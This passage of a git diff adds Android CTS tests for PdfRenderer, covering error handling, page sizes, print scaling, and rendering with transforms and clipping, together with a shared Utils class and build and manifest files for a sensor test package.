+    private static final int A5_PORTRAIT_PRINTSCALING_NONE =
+            R.raw.a5_portrait_rgbb_1_6_printscaling_none;
+    private static final int TWO_PAGES = R.raw.two_pages;
+
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void constructRendererNull() throws Exception {
+        verifyException(() -> new PdfRenderer(null), NullPointerException.class);
+    }
+
+    @Test
+    @Ignore("Makes all subsequent tests fail")
+    public void constructRendererFromNonPDF() throws Exception {
+        // Open jpg as if it was a PDF
+        ParcelFileDescriptor fd = mContext.getResources().openRawResourceFd(R.raw.testimage)
+                .getParcelFileDescriptor();
+        verifyException(() -> new PdfRenderer(fd), IOException.class);
+    }
+
+    @Test
+    public void useRendererAfterClose() throws Exception {
+        PdfRenderer renderer = createRenderer(A4_PORTRAIT, mContext);
+        renderer.close();
+
+        verifyException(renderer::close, IllegalStateException.class);
+        verifyException(renderer::getPageCount, IllegalStateException.class);
+        verifyException(renderer::shouldScaleForPrinting, IllegalStateException.class);
+        verifyException(() -> renderer.openPage(0), IllegalStateException.class);
+    }
+
+    @Test
+    public void usePageAfterClose() throws Exception {
+        PdfRenderer renderer = createRenderer(A4_PORTRAIT, mContext);
+        Page page = renderer.openPage(0);
+        page.close();
+
+        // Legacy behavior: The properties are cached, hence they are still available after the page
+        //                  is closed
+        page.getHeight();
+        page.getWidth();
+        page.getIndex();
+        verifyException(page::close, IllegalStateException.class);
+
+        // Legacy support. An IllegalStateException would be nice by unfortunately the legacy
+        // implementation returned NullPointerException
+        verifyException(() -> page.render(null, null, null, Page.RENDER_MODE_FOR_DISPLAY),
+                NullPointerException.class);
+
+        renderer.close();
+    }
+
+    @Test
+    public void closeWithOpenPage() throws Exception {
+        PdfRenderer renderer = createRenderer(A4_PORTRAIT, mContext);
+        Page page = renderer.openPage(0);
+
+        verifyException(renderer::close, IllegalStateException.class);
+
+        page.close();
+        renderer.close();
+    }
+
+    @Test
+    public void openTwoPages() throws Exception {
+        try (PdfRenderer renderer = createRenderer(TWO_PAGES, mContext)) {
+            // Cannot open two pages at once
+            Page page = renderer.openPage(0);
+            verifyException(() -> renderer.openPage(1), IllegalStateException.class);
+
+            page.close();
+        }
+    }
+
+    @Test
+    public void testPageCount() throws Exception {
+        try (PdfRenderer renderer = createRenderer(TWO_PAGES, mContext)) {
+            assertEquals(2, renderer.getPageCount());
+        }
+    }
+
+    @Test
+    public void testOpenPage() throws Exception {
+        try (PdfRenderer renderer = createRenderer(TWO_PAGES, mContext)) {
+            verifyException(() -> renderer.openPage(-1), IllegalArgumentException.class);
+            Page page0 = renderer.openPage(0);
+            page0.close();
+            Page page1 = renderer.openPage(1);
+            page1.close();
+            verifyException(() -> renderer.openPage(2), IllegalArgumentException.class);
+        }
+    }
+
+    @Test
+    public void testPageSize() throws Exception {
+        try (PdfRenderer renderer = createRenderer(A4_PORTRAIT, mContext);
+             Page page = renderer.openPage(0)) {
+            assertEquals(A4_HEIGHT_PTS, page.getHeight());
+            assertEquals(A4_WIDTH_PTS, page.getWidth());
+        }
+    }
+
+    @Test
+    public void testPrintScaleDefault() throws Exception {
+        try (PdfRenderer renderer = createRenderer(A5_PORTRAIT, mContext)) {
+            assertTrue(renderer.shouldScaleForPrinting());
+        }
+    }
+
+    @Test
+    public void testPrintScalePDF16Default() throws Exception {
+        try (PdfRenderer renderer = createRenderer(A5_PORTRAIT_PRINTSCALING_DEFAULT, mContext)) {
+            assertTrue(renderer.shouldScaleForPrinting());
+        }
+    }
+
+    @Test
+    public void testPrintScalePDF16None() throws Exception {
+        try (PdfRenderer renderer = createRenderer(A5_PORTRAIT_PRINTSCALING_NONE, mContext)) {
+            assertFalse(renderer.shouldScaleForPrinting());
+        }
+    }
+
+    /**
+     * Take 16 color probes in the middle of the 16 segments of the page in the following pattern:
+     * <pre>
+     * +----+----+----+----+
+     * |  0 :  1 :  2 :  3 |
+     * +....:....:....:....+
+     * |  4 :  5 :  6 :  7 |
+     * +....:....:....:....+
+     * |  8 :  9 : 10 : 11 |
+     * +....:....:....:....+
+     * | 12 : 13 : 14 : 15 |
+     * +----+----+----+----+
+     * </pre>
+     *
+     * @param bm The bitmap to probe
+     *
+     * @return The color at the probes
+     */
+    private @NonNull int[] getColorProbes(@NonNull Bitmap bm) {
+        int[] probes = new int[16];
+
+        for (int row = 0; row < 4; row++) {
+            for (int column = 0; column < 4; column++) {
+                probes[row * 4 + column] = bm.getPixel((int) (bm.getWidth() * (column + 0.5) / 4),
+                        (int) (bm.getHeight() * (row + 0.5) / 4));
+            }
+        }
+
+        return probes;
+    }
+
+    /**
+     * Implementation for {@link #renderNoTransformationAndComparePointsForScreen} and {@link
+     * #renderNoTransformationAndComparePointsForPrint}.
+     *
+     * @param renderMode The render mode to use
+     *
+     * @throws Exception If anything was unexpected
+     */
+    private void renderNoTransformationAndComparePoints(int renderMode) throws Exception {
+        Bitmap bm = renderWithTransform(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, null, null,
+                renderMode, mContext);
+        int[] probes = getColorProbes(bm);
+
+        // Compare rendering to expected result. This ensures that all other tests in this class do
+        // not accidentally all compare empty bitmaps.
+        assertEquals(Color.RED, probes[0]);
+        assertEquals(Color.RED, probes[1]);
+        assertEquals(Color.GREEN, probes[2]);
+        assertEquals(Color.GREEN, probes[3]);
+        assertEquals(Color.RED, probes[4]);
+        assertEquals(Color.RED, probes[5]);
+        assertEquals(Color.GREEN, probes[6]);
+        assertEquals(Color.GREEN, probes[7]);
+        assertEquals(Color.BLUE, probes[8]);
+        assertEquals(Color.BLUE, probes[9]);
+        assertEquals(Color.BLACK, probes[10]);
+        assertEquals(Color.BLACK, probes[11]);
+        assertEquals(Color.BLUE, probes[12]);
+        assertEquals(Color.BLUE, probes[13]);
+        assertEquals(Color.BLACK, probes[14]);
+        assertEquals(Color.BLACK, probes[15]);
+    }
+
+    @Test
+    public void renderNoTransformationAndComparePointsForScreen() throws Exception {
+        renderNoTransformationAndComparePoints(Page.RENDER_MODE_FOR_DISPLAY);
+    }
+
+    @Test
+    public void renderNoTransformationAndComparePointsForPrint() throws Exception {
+        renderNoTransformationAndComparePoints(Page.RENDER_MODE_FOR_PRINT);
+    }
+
+    @Test
+    public void renderPerspective() throws Exception {
+        Matrix transform = new Matrix();
+
+        transform.setValues(new float[] { 1, 1, 1, 1, 1, 1, 1, 1, 1 });
+
+        verifyException(
+                () -> renderWithTransform(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, null, transform,
+                        Page.RENDER_MODE_FOR_DISPLAY, mContext), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void render45degreeRotationTranslationAndScaleAndClip() throws Exception {
+        Matrix transform = new Matrix();
+        // Rotate on top left corner
+        transform.postRotate(45);
+        // Move
+        transform.postTranslate(A4_WIDTH_PTS / 4, A4_HEIGHT_PTS / 4);
+        // Scale to 75%
+        transform.postScale(0.75f, 0.75f);
+        // Clip
+        Rect clip = new Rect(20, 20, A4_WIDTH_PTS - 20, A4_HEIGHT_PTS - 20);
+
+        renderAndCompare(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, clip, transform,
+                Page.RENDER_MODE_FOR_DISPLAY, mContext);
+    }
+
+    @Test
+    public void renderStreched() throws Exception {
+        renderAndCompare(A4_WIDTH_PTS * 4 / 3, A4_HEIGHT_PTS * 3 / 4, A4_PORTRAIT, null, null,
+                Page.RENDER_MODE_FOR_DISPLAY, mContext);
+    }
+
+    @Test
+    public void renderWithClip() throws Exception {
+        Rect clip = new Rect(20, 20, A4_WIDTH_PTS - 50, A4_HEIGHT_PTS - 50);
+        renderAndCompare(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, clip, null,
+                Page.RENDER_MODE_FOR_DISPLAY, mContext);
+    }
+
+    @Test
+    public void renderWithAllClipped() throws Exception {
+        Rect clip = new Rect(A4_WIDTH_PTS / 2, A4_HEIGHT_PTS / 2, A4_WIDTH_PTS / 2,
+                A4_HEIGHT_PTS / 2);
+        renderAndCompare(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, clip, null,
+                Page.RENDER_MODE_FOR_DISPLAY, mContext);
+    }
+
+    @Test
+    public void renderWithBadLowerCornerOfClip() throws Exception {
+        Rect clip = new Rect(0, 0, A4_WIDTH_PTS + 20, A4_HEIGHT_PTS + 20);
+        verifyException(
+                () -> renderWithTransform(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, clip, null,
+                        Page.RENDER_MODE_FOR_DISPLAY, mContext), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void renderWithBadUpperCornerOfClip() throws Exception {
+        Rect clip = new Rect(-20, -20, A4_WIDTH_PTS, A4_HEIGHT_PTS);
+        verifyException(
+                () -> renderWithTransform(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, clip, null,
+                        Page.RENDER_MODE_FOR_DISPLAY, mContext), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void renderTwoModes() throws Exception {
+        verifyException(
+                () -> renderWithTransform(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, null, null,
+                        Page.RENDER_MODE_FOR_DISPLAY | Page.RENDER_MODE_FOR_PRINT, mContext),
+                IllegalArgumentException.class);
+    }
+
+    @Test
+    public void renderBadMode() throws Exception {
+        verifyException(
+                () -> renderWithTransform(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, null, null,
+                        1 << 30, mContext), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void renderAllModes() throws Exception {
+        verifyException(
+                () -> renderWithTransform(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, null, null, -1,
+                        mContext), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void renderNoMode() throws Exception {
+        verifyException(
+                () -> renderWithTransform(A4_WIDTH_PTS, A4_HEIGHT_PTS, A4_PORTRAIT, null, null, 0,
+                        mContext), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void renderOnNullBitmap() throws Exception {
+        try (PdfRenderer renderer = createRenderer(A4_PORTRAIT, mContext);
+             Page page = renderer.openPage(0)) {
+            verifyException(() -> page.render(null, null, null, Page.RENDER_MODE_FOR_DISPLAY),
+                    NullPointerException.class);
+        }
+    }
+
+}
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java
new file mode 100644
index 0000000..4f186ea
--- /dev/null
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.pdf.cts;
+
+import static android.graphics.pdf.cts.Utils.A4_HEIGHT_PTS;
+import static android.graphics.pdf.cts.Utils.A4_PORTRAIT;
+import static android.graphics.pdf.cts.Utils.A4_WIDTH_PTS;
+import static android.graphics.pdf.cts.Utils.renderAndCompare;
+
+import android.content.Context;
+import android.graphics.Matrix;
+import android.graphics.Rect;
+import android.graphics.pdf.PdfRenderer;
+import android.graphics.pdf.PdfRenderer.Page;
+import android.support.annotation.Nullable;
+import android.support.annotation.RawRes;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.ArrayList;
+import java.util.Collection;
+
+/**
+ * Test for the {@link PdfRenderer}
+ */
+@RunWith(Parameterized.class)
+public class PdfRendererTransformTest {
+    private Context mContext;
+    private int mWidth;
+    private int mHeight;
+    private int mDocRes;
+    private @Nullable Rect mClipping;
+    private @Nullable Matrix mTransformation;
+    private int mRenderMode;
+
+    public PdfRendererTransformTest(int width, int height, @RawRes int docRes,
+            @Nullable Rect clipping, @Nullable Matrix transformation, int renderMode) {
+        mWidth = width;
+        mHeight = height;
+        mDocRes = docRes;
+        mClipping = clipping;
+        mTransformation = transformation;
+        mRenderMode = renderMode;
+    }
+
+    @Parameterized.Parameters
+    public static Collection<Object[]> getParameters() {
+        int[] widths = new int[] { A4_WIDTH_PTS * 3 / 4, A4_WIDTH_PTS, A4_WIDTH_PTS * 4 / 3
+        };
+        int[] heights = new int[] { A4_HEIGHT_PTS * 3 / 4, A4_HEIGHT_PTS, A4_HEIGHT_PTS * 4 / 3
+        };
+        int[] rotations = new int[] { 0, 15, 90, 180 };
+        int[] translations = new int[] { -A4_HEIGHT_PTS / 2, 0, A4_HEIGHT_PTS / 2 };
+        float[] scales = { -0.5f, 0, 1, 1.5f };
+
+        Collection<Object[]> params = new ArrayList<>();
+
+        for (int rotation : rotations) {
+            for (float scaleX : scales) {
+                for (float scaleY : scales) {
+                    for (int translateX : translations) {
+                        for (int translateY : translations) {
+                            Matrix transformation = new Matrix();
+                            if (rotation != 0 || translateX != 0 || translateY != 0
+                                    || scaleX != 0 || scaleY != 0) {
+                                if (rotation != 0) {
+                                    transformation.postRotate(rotation);
+                                }
+
+                                if (scaleX != 0 || scaleY != 0) {
+                                    transformation.postScale(scaleX, scaleY);
+                                }
+
+                                if (translateX != 0 || translateY != 0) {
+                                    transformation.postTranslate(translateX,
+                                            translateY);
+                                }
+                            }
+
+                            for (int width : widths) {
+                                for (int height : heights) {
+                                    params.add(
+                                            new Object[] { width, height, A4_PORTRAIT, null,
+                                                    transformation, Page.RENDER_MODE_FOR_DISPLAY
+                                            });
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        return params;
+    }
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    // Note that the size annotation refers to the "size" of each individual parameterized run,
+    // and not the "full" run.
+    @SmallTest
+    @Test
+    public void test() throws Exception {
+        renderAndCompare(mWidth, mHeight, mDocRes, mClipping, mTransformation, mRenderMode,
+                mContext);
+    }
+}
diff --git a/tests/pdf/src/android/graphics/pdf/cts/Utils.java b/tests/pdf/src/android/graphics/pdf/cts/Utils.java
new file mode 100644
index 0000000..4d43e09
--- /dev/null
+++ b/tests/pdf/src/android/graphics/pdf/cts/Utils.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.pdf.cts;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Matrix;
+import android.graphics.Rect;
+import android.graphics.pdf.PdfRenderer;
+import android.os.ParcelFileDescriptor;
+import android.support.annotation.FloatRange;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.annotation.RawRes;
+import android.util.ArrayMap;
+import android.util.Log;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.Map;
+
+/**
+ * Utilities for this package
+ */
+class Utils {
+    private static final String LOG_TAG = "Utils";
+
+    private static Map<Integer, File> sFiles = new ArrayMap<>();
+    private static Map<Integer, Bitmap> sRenderedBitmaps = new ArrayMap<>();
+
+    static final int A4_WIDTH_PTS = 595;
+    static final int A4_HEIGHT_PTS = 841;
+    static final int A4_PORTRAIT = android.graphics.pdf.cts.R.raw.a4_portrait_rgbb;
+    static final int A5_PORTRAIT = android.graphics.pdf.cts.R.raw.a5_portrait_rgbb;
+
+    /**
+     * Create a {@link PdfRenderer} pointing to a file copied from a resource.
+     *
+     * @param docRes  The resource to load
+     * @param context The context to use for creating the renderer
+     *
+     * @return the renderer
+     *
+     * @throws IOException If anything went wrong
+     */
+    static @NonNull PdfRenderer createRenderer(@RawRes int docRes, @NonNull Context context)
+            throws IOException {
+        File pdfFile = sFiles.get(docRes);
+
+        if (pdfFile == null) {
+            pdfFile = File.createTempFile("pdf", null, context.getCacheDir());
+
+            // Copy resource to file so that we can open it as a ParcelFileDescriptor
+            try (OutputStream os = new BufferedOutputStream(new FileOutputStream(pdfFile))) {
+                try (InputStream is = new BufferedInputStream(
+                        context.getResources().openRawResource(docRes))) {
+                    byte buffer[] = new byte[1024];
+
+                    while (true) {
+                        int numRead = is.read(buffer, 0, buffer.length);
+
+                        if (numRead == -1) {
+                            break;
+                        }
+
+                        os.write(Arrays.copyOf(buffer, numRead));
+                    }
+
+                    os.flush();
+                }
+            }
+
+            sFiles.put(docRes, pdfFile);
+        }
+
+        return new PdfRenderer(
+                ParcelFileDescriptor.open(pdfFile, ParcelFileDescriptor.MODE_READ_ONLY));
+    }
+
+    /**
+     * Render a pdf onto a bitmap <u>while</u> applying the transformation <u>in the</u>
+     * PDFRenderer. Hence use PdfRenderer.*'s translation and clipping methods.
+     *
+     * @param bmWidth        The width of the destination bitmap
+     * @param bmHeight       The height of the destination bitmap
+     * @param docRes         The resolution of the doc
+     * @param clipping       The clipping for the PDF document
+     * @param transformation The transformation of the PDF
+     * @param renderMode     The render mode to use to render the PDF
+     * @param context        The context to use for creating the renderer
+     *
+     * @return The rendered bitmap
+     */
+    static @NonNull Bitmap renderWithTransform(int bmWidth, int bmHeight, @RawRes int docRes,
+            @Nullable Rect clipping, @Nullable Matrix transformation, int renderMode,
+            @NonNull Context context)
+            throws IOException {
+        try (PdfRenderer renderer = createRenderer(docRes, context)) {
+            try (PdfRenderer.Page page = renderer.openPage(0)) {
+                Bitmap bm = Bitmap.createBitmap(bmWidth, bmHeight, Bitmap.Config.ARGB_8888);
+
+                page.render(bm, clipping, transformation, renderMode);
+
+                return bm;
+            }
+        }
+    }
+
+    /**
+     * Render a pdf onto a bitmap <u>and then</u> apply then render the resulting bitmap onto
+     * another bitmap while applying the transformation. Hence use canvas' translation and clipping
+     * methods.
+     *
+     * @param bmWidth        The width of the destination bitmap
+     * @param bmHeight       The height of the destination bitmap
+     * @param docRes         The resolution of the doc
+     * @param clipping       The clipping for the PDF document
+     * @param transformation The transformation of the PDF
+     * @param renderMode     The render mode to use to render the PDF
+     * @param context        The context to use for creating the renderer
+     *
+     * @return The rendered bitmap
+     */
+    private static @NonNull Bitmap renderAndThenTransform(int bmWidth, int bmHeight,
+            @RawRes int docRes, @Nullable Rect clipping, @Nullable Matrix transformation,
+            int renderMode, @NonNull Context context) throws IOException {
+        Bitmap renderedBm;
+
+        renderedBm = sRenderedBitmaps.get(docRes);
+
+        if (renderedBm == null) {
+            try (PdfRenderer renderer = Utils.createRenderer(docRes, context)) {
+                try (PdfRenderer.Page page = renderer.openPage(0)) {
+                    renderedBm = Bitmap.createBitmap(page.getWidth(), page.getHeight(),
+                            Bitmap.Config.ARGB_8888);
+                    page.render(renderedBm, null, null, renderMode);
+                }
+            }
+            sRenderedBitmaps.put(docRes, renderedBm);
+        }
+
+        if (transformation == null) {
+            // According to PdfRenderer.page#render transformation == null means that the bitmap
+            // should be stretched to clipping (if provided) or otherwise destination size
+            transformation = new Matrix();
+
+            if (clipping != null) {
+                transformation.postScale((float) clipping.width() / renderedBm.getWidth(),
+                        (float) clipping.height() / renderedBm.getHeight());
+                transformation.postTranslate(clipping.left, clipping.top);
+            } else {
+                transformation.postScale((float) bmWidth / renderedBm.getWidth(),
+                        (float) bmHeight / renderedBm.getHeight());
+            }
+        }
+
+        Bitmap transformedBm = Bitmap.createBitmap(bmWidth, bmHeight, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(transformedBm);
+        canvas.drawBitmap(renderedBm, transformation, null);
+
+        Bitmap clippedBm;
+        if (clipping != null) {
+            clippedBm = Bitmap.createBitmap(bmWidth, bmHeight, Bitmap.Config.ARGB_8888);
+            canvas = new Canvas(clippedBm);
+            canvas.drawBitmap(transformedBm, clipping, clipping, null);
+            transformedBm.recycle();
+        } else {
+            clippedBm = transformedBm;
+        }
+
+        return clippedBm;
+    }
+
+    /**
+     * Get the fraction of non-matching pixels of two bitmaps. 1 == no pixels match, 0 == all pixels
+     * match.
+     *
+     * @param a The first bitmap
+     * @param b The second bitmap
+     *
+     * @return The fraction of non-matching pixels.
+     */
+    private static @FloatRange(from = 0, to = 1) float getNonMatching(@NonNull Bitmap a,
+            @NonNull Bitmap b) {
+        if (a.getWidth() != b.getWidth() || a.getHeight() != b.getHeight()) {
+            return 1;
+        }
+
+        int[] aPx = new int[a.getWidth() * a.getHeight()];
+        int[] bPx = new int[b.getWidth() * b.getHeight()];
+        a.getPixels(aPx, 0, a.getWidth(), 0, 0, a.getWidth(), a.getHeight());
+        b.getPixels(bPx, 0, b.getWidth(), 0, 0, b.getWidth(), b.getHeight());
+
+        int badPixels = 0;
+        int totalPixels = a.getWidth() * a.getHeight();
+        for (int i = 0; i < totalPixels; i++) {
+            if (aPx[i] != bPx[i]) {
+                badPixels++;
+            }
+        }
+
+        return ((float) badPixels) / totalPixels;
+    }
+
+    /**
+     * Render the PDF two times. Once with applying the transformation and clipping in the {@link
+     * PdfRenderer}. The other time render the PDF onto a bitmap and then clip and transform that
+     * image. The result should be the same beside some minor aliasing.
+     *
+     * @param width          The width of the resulting bitmap
+     * @param height         The height of the resulting bitmap
+     * @param docRes         The resource of the PDF document
+     * @param clipping       The clipping to apply
+     * @param transformation The transformation to apply
+     * @param renderMode     The render mode to use
+     * @param context        The context to use for creating the renderer
+     *
+     * @throws IOException
+     */
+    static void renderAndCompare(int width, int height, @RawRes int docRes,
+            @Nullable Rect clipping, @Nullable Matrix transformation, int renderMode,
+            @NonNull Context context) throws IOException {
+        Bitmap a = renderWithTransform(width, height, docRes, clipping, transformation,
+                renderMode, context);
+        Bitmap b = renderAndThenTransform(width, height, docRes, clipping, transformation,
+                renderMode, context);
+
+        try {
+            // We allow 1% aliasing error
+            float nonMatching = getNonMatching(a, b);
+
+            if (nonMatching == 0) {
+                Log.d(LOG_TAG, "bitmaps match");
+            } else if (nonMatching > 0.01) {
+                fail("Testing width:" + width + ", height:" + height + ", docRes:" + docRes +
+                        ", clipping:" + clipping + ", transform:" + transformation + ". Bitmaps " +
+                        "differ by " + Math.ceil(nonMatching * 10000) / 100 +
+                        "%. That is too much.");
+            } else {
+                Log.d(LOG_TAG, "bitmaps differ by " + Math.ceil(nonMatching * 10000) / 100 + "%");
+            }
+        } finally {
+            a.recycle();
+            b.recycle();
+        }
+    }
+
+    /**
+     * Run a runnable and expect an exception of a certain type.
+     *
+     * @param r             The {@link Invokable} to run
+     * @param expectedClass The expected exception type
+     */
+    static void verifyException(@NonNull Invokable r,
+            @NonNull Class<? extends Exception> expectedClass) {
+        try {
+            r.run();
+        } catch (Exception e) {
+            if (e.getClass().isAssignableFrom(expectedClass)) {
+                return;
+            } else {
+                Log.e(LOG_TAG, "Incorrect exception", e);
+                fail("Expected: " + expectedClass.getName() + ", got: " + e.getClass().getName());
+            }
+        }
+
+        fail("Expected to have " + expectedClass.getName() + " exception thrown");
+    }
+
+    /**
+     * A runnable that can throw an exception.
+     */
+    interface Invokable {
+        void run() throws Exception;
+    }
+}
diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
index 84be33e..419faa5 100755
--- a/tests/sample/Android.mk
+++ b/tests/sample/Android.mk
@@ -25,10 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    android-support-test \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/sample/AndroidTest.xml b/tests/sample/AndroidTest.xml
index ae790fb..c8d1949 100644
--- a/tests/sample/AndroidTest.xml
+++ b/tests/sample/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Sample test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSampleDeviceTestCases.apk" />
     </target_preparer>
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
new file mode 100644
index 0000000..7b6dd32
--- /dev/null
+++ b/tests/sensor/Android.mk
@@ -0,0 +1,96 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+#
+# Reusable Sensor test classes and helpers
+#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := cts-sensors-tests
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+
+LOCAL_JAVA_LIBRARIES := platform-test-annotations
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+#
+# JNI components for testing NDK
+#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libcts-sensors-ndk-jni
+
+LOCAL_CFLAGS += -Werror -Wall -Wextra
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+    jni/SensorTest.cpp \
+    jni/SensorTestCases.cpp \
+    jni/android_hardware_cts_SensorDirectReportTest.cpp \
+    jni/android_hardware_cts_SensorNativeTest.cpp \
+    jni/nativeTestHelper.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libandroid liblog
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_NDK_STL_VARIANT := c++_shared
+
+include $(BUILD_SHARED_LIBRARY)
+
+#
+# CtsSensorTestCases package
+#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+# include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner \
+    cts-sensors-tests \
+
+LOCAL_JNI_SHARED_LIBRARIES := libcts-sensors-ndk-jni
+
+LOCAL_PACKAGE_NAME := CtsSensorTestCases
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_NDK_STL_VARIANT := c++_shared
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/sensor/AndroidManifest.xml b/tests/sensor/AndroidManifest.xml
new file mode 100644
index 0000000..0c33e0d
--- /dev/null
+++ b/tests/sensor/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.hardware.sensor.cts">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.BODY_SENSORS" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.hardware.sensor.cts"
+                     android:label="CTS sensor tests">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/sensor/AndroidTest.xml b/tests/sensor/AndroidTest.xml
new file mode 100644
index 0000000..3eff64c
--- /dev/null
+++ b/tests/sensor/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
